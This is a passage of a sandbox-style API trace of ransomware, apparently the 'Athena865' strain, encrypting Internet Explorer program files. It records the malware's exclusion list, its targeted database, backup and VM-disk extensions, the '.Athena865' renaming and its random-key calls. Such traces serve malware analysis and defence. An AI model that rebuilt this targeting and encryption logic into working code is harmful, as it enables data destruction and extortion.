lpString2="db-journal") returned 1 [0037.936] lstrlenW (lpString="db-shm") returned 6 [0037.936] lstrcmpiW (lpString1="opdesc", lpString2="db-shm") returned 1 [0037.936] lstrlenW (lpString="db-wal") returned 6 [0037.936] lstrcmpiW (lpString1="opdesc", lpString2="db-wal") returned 1 [0037.936] lstrlenW (lpString="dbc") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="dbc") returned 1 [0037.936] lstrlenW (lpString="dbs") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="dbs") returned 1 [0037.936] lstrlenW (lpString="dbt") returned 3 [0037.937] lstrcmpiW (lpString1="esc", lpString2="dbt") returned 1 [0037.937] lstrlenW (lpString="dbv") returned 3 [0037.937] lstrcmpiW (lpString1="esc", lpString2="dbv") returned 1 [0037.937] lstrlenW (lpString="dbx") returned 3 [0037.937] lstrcmpiW (lpString1="esc", lpString2="dbx") returned 1 [0037.937] lstrlenW (lpString="dcb") returned 3 [0037.937] lstrcmpiW (lpString1="esc", lpString2="dcb") returned 1 [0037.937] lstrcmpiW (lpString1="esc", lpString2="dct") returned 1 [0037.937] lstrcmpiW (lpString1="esc", lpString2="dcx") returned 1 [0037.937] lstrcmpiW (lpString1="esc", lpString2="ddl") returned 1 [0037.937] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\ie8props.propdesc.Athena865") returned 62 [0037.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), lpNewFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc.Athena865" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc.athena865"), dwFlags=0x1) returned 1 [0037.938] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc.Athena865" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0037.938] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2649) returned 1 [0037.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.939] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.939] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.939] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd60, lpName=0x0) returned 0x154 [0037.940] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd60) returned 0x100000 [0037.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.944] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.944] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.945] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0037.945] CloseHandle (hObject=0x154) returned 1 [0037.945] CloseHandle (hObject=0x17c) returned 1 [0037.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.946] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2=".") returned 1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="..") returned 1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="windows") returned -1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="bootmgr") returned 1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="temp") returned -1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="pagefile.sys") returned -1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="boot") returned 1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="ids.txt") returned 1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="ntuser.dat") returned -1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="perflogs") returned -1 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2="MSBuild") returned -1 [0037.947] lstrlenW (lpString="iecompat.dll") returned 12 [0037.947] lstrcpyW (in: lpString1=0x241e88e, lpString2="iecompat.dll" | out: lpString1="iecompat.dll") returned="iecompat.dll" [0037.947] lstrlenW (lpString="iecompat.dll") returned 12 [0037.947] lstrlenW (lpString="Athena865") returned 9 [0037.947] lstrcmpiW (lpString1="ompat.dll", lpString2="Athena865") returned 1 [0037.947] lstrlenW (lpString=".dll") returned 4 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2=".dll") returned 1 [0037.947] lstrlenW (lpString=".lnk") returned 4 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2=".lnk") returned 1 [0037.947] lstrlenW (lpString=".ini") returned 4 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2=".ini") returned 1 [0037.947] lstrlenW (lpString=".sys") returned 4 [0037.947] lstrcmpiW (lpString1="iecompat.dll", lpString2=".sys") returned 1 [0037.947] lstrlenW (lpString="iecompat.dll") returned 12 [0037.947] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\iecompat.dll.Athena865") returned 57 [0037.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\iecompat.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\iecompat.dll.athena865"), dwFlags=0x1) returned 1 [0037.948] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\iecompat.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\iecompat.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0037.948] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7680) returned 1 [0037.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.948] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.949] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.949] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.949] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2100, lpName=0x0) returned 0x154 [0037.951] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2100) returned 0x100000 [0037.959] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.960] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.960] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.960] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0037.961] CloseHandle (hObject=0x154) returned 1 [0037.961] CloseHandle (hObject=0x17c) returned 1 [0037.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.962] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".") returned 1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2="..") returned 1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2="windows") returned -1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2="bootmgr") returned 1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2="temp") returned -1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2="pagefile.sys") returned -1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2="boot") returned 1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2="ids.txt") returned 1 [0037.962] lstrcmpiW (lpString1="iedvtool.dll", lpString2="ntuser.dat") returned -1 [0037.963] lstrcmpiW (lpString1="iedvtool.dll", lpString2="perflogs") returned -1 [0037.963] lstrcmpiW (lpString1="iedvtool.dll", lpString2="MSBuild") returned -1 [0037.963] lstrlenW (lpString="iedvtool.dll") returned 12 [0037.963] lstrcpyW (in: lpString1=0x241e88e, lpString2="iedvtool.dll" | out: lpString1="iedvtool.dll") returned="iedvtool.dll" [0037.963] lstrlenW (lpString="iedvtool.dll") returned 12 [0037.963] lstrlenW (lpString="Athena865") returned 9 [0037.963] lstrcmpiW (lpString1="vtool.dll", lpString2="Athena865") returned 1 [0037.963] lstrlenW (lpString=".dll") returned 4 [0037.963] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".dll") returned 1 [0037.963] lstrlenW (lpString=".lnk") returned 4 [0037.963] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".lnk") returned 1 [0037.963] lstrlenW (lpString=".ini") returned 4 [0037.963] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".ini") returned 1 [0037.963] lstrlenW (lpString=".sys") returned 4 [0037.963] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".sys") returned 1 [0037.963] lstrlenW (lpString="iedvtool.dll") returned 12 [0037.963] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\iedvtool.dll.Athena865") returned 57 [0037.963] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\iedvtool.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll.athena865"), dwFlags=0x1) returned 1 [0037.967] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\iedvtool.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0037.967] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1013248) returned 1 [0037.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.967] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.968] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.968] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.968] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf7900, lpName=0x0) returned 0x154 [0037.970] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf7900) returned 0x2d50000 [0038.008] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.009] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.009] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.009] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0038.018] CloseHandle (hObject=0x154) returned 1 [0038.018] CloseHandle (hObject=0x17c) returned 1 [0038.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.031] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0038.031] lstrcmpiW (lpString1="ieinstal.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.031] lstrcmpiW (lpString1="ieinstal.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".") returned 1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2="..") returned 1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2="windows") returned -1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2="bootmgr") returned 1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2="temp") returned -1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2="pagefile.sys") returned -1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2="boot") returned 1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2="ids.txt") returned 1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2="ntuser.dat") returned -1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2="perflogs") returned -1 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2="MSBuild") returned -1 [0038.032] lstrlenW (lpString="ieinstal.exe") returned 12 [0038.032] lstrcpyW (in: lpString1=0x241e88e, lpString2="ieinstal.exe" | out: lpString1="ieinstal.exe") returned="ieinstal.exe" [0038.032] lstrlenW (lpString="ieinstal.exe") returned 12 [0038.032] lstrlenW (lpString="Athena865") returned 9 [0038.032] lstrcmpiW (lpString1="nstal.exe", lpString2="Athena865") returned 1 [0038.032] lstrlenW (lpString=".dll") returned 4 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".dll") returned 1 [0038.032] lstrlenW (lpString=".lnk") returned 4 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".lnk") returned 1 [0038.032] lstrlenW (lpString=".ini") returned 4 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".ini") returned 1 [0038.032] lstrlenW (lpString=".sys") returned 4 [0038.032] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".sys") returned 1 [0038.032] lstrlenW (lpString="ieinstal.exe") returned 12 [0038.032] lstrlenW (lpString="bak") returned 3 [0038.032] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0038.032] lstrlenW (lpString="ba_") returned 3 [0038.032] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0038.032] lstrlenW (lpString="dbb") returned 3 [0038.032] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0038.032] lstrlenW (lpString="vmdk") returned 4 [0038.032] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0038.032] lstrlenW (lpString="rar") returned 3 [0038.032] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0038.032] lstrlenW (lpString="zip") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0038.033] lstrlenW (lpString="tgz") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0038.033] lstrlenW (lpString="vbox") returned 4 [0038.033] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0038.033] lstrlenW (lpString="vdi") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0038.033] lstrlenW (lpString="vhd") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0038.033] lstrlenW (lpString="vhdx") returned 4 [0038.033] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0038.033] lstrlenW (lpString="avhd") returned 4 [0038.033] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0038.033] lstrlenW (lpString="db") returned 2 [0038.033] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0038.033] lstrlenW (lpString="db2") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0038.033] lstrlenW (lpString="db3") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0038.033] lstrlenW (lpString="dbf") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0038.033] lstrlenW (lpString="mdf") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0038.033] lstrlenW (lpString="mdb") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0038.033] lstrlenW (lpString="sql") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0038.033] lstrlenW (lpString="sqlite") returned 6 [0038.033] lstrcmpiW (lpString1="al.exe", lpString2="sqlite") returned -1 [0038.033] lstrlenW (lpString="sqlite3") returned 7 [0038.033] lstrcmpiW (lpString1="tal.exe", lpString2="sqlite3") returned 1 [0038.033] lstrlenW (lpString="sqlitedb") returned 8 [0038.033] lstrcmpiW (lpString1="stal.exe", lpString2="sqlitedb") returned 1 [0038.033] lstrlenW (lpString="xml") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0038.033] lstrlenW (lpString="$er") returned 3 [0038.033] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0038.033] lstrlenW (lpString="4dd") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0038.034] lstrlenW (lpString="4dl") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0038.034] lstrlenW (lpString="^^^") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0038.034] lstrlenW (lpString="abs") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0038.034] lstrlenW (lpString="abx") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0038.034] lstrlenW (lpString="accdb") returned 5 [0038.034] lstrcmpiW (lpString1="l.exe", lpString2="accdb") returned 1 [0038.034] lstrlenW (lpString="accdc") returned 5 [0038.034] lstrcmpiW (lpString1="l.exe", lpString2="accdc") returned 1 [0038.034] lstrlenW (lpString="accde") returned 5 [0038.034] lstrcmpiW (lpString1="l.exe", lpString2="accde") returned 1 [0038.034] lstrlenW (lpString="accdr") returned 5 [0038.034] lstrcmpiW (lpString1="l.exe", lpString2="accdr") returned 1 [0038.034] lstrlenW (lpString="accdt") returned 5 [0038.034] lstrcmpiW (lpString1="l.exe", lpString2="accdt") returned 1 [0038.034] lstrlenW (lpString="accdw") returned 5 [0038.034] lstrcmpiW (lpString1="l.exe", lpString2="accdw") returned 1 [0038.034] lstrlenW (lpString="accft") returned 5 [0038.034] lstrcmpiW (lpString1="l.exe", lpString2="accft") returned 1 [0038.034] lstrlenW (lpString="adb") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.034] lstrlenW (lpString="adb") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.034] lstrlenW (lpString="ade") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0038.034] lstrlenW (lpString="adf") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0038.034] lstrlenW (lpString="adn") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0038.034] lstrlenW (lpString="adp") returned 3 [0038.034] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0038.034] lstrlenW (lpString="alf") returned 3 [0038.035] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0038.035] lstrlenW (lpString="ask") returned 3 [0038.035] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0038.035] lstrlenW (lpString="btr") returned 3 [0038.035] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0038.035] lstrlenW (lpString="cat") returned 3 [0038.035] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0038.035] lstrlenW (lpString="cdb") returned 3 [0038.035] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0038.035] lstrlenW (lpString="ckp") returned 3 [0038.035] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0038.035] lstrlenW (lpString="cma") returned 3 [0038.035] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0038.035] lstrlenW (lpString="cpd") returned 3 [0038.035] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0038.035] lstrlenW (lpString="dacpac") returned 6 [0038.035] lstrcmpiW (lpString1="al.exe", lpString2="dacpac") returned -1 [0038.035] lstrlenW (lpString="dad") returned 3 [0038.035] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0038.035] lstrlenW (lpString="dadiagrams") returned 10 [0038.035] lstrcmpiW (lpString1="instal.exe", lpString2="dadiagrams") returned 1 [0038.035] lstrlenW (lpString="daschema") returned 8 [0038.035] lstrcmpiW (lpString1="stal.exe", lpString2="daschema") returned 1 [0038.035] lstrlenW (lpString="db-journal") returned 10 [0038.035] lstrcmpiW (lpString1="instal.exe", lpString2="db-journal") returned 1 [0038.035] lstrlenW (lpString="db-shm") returned 6 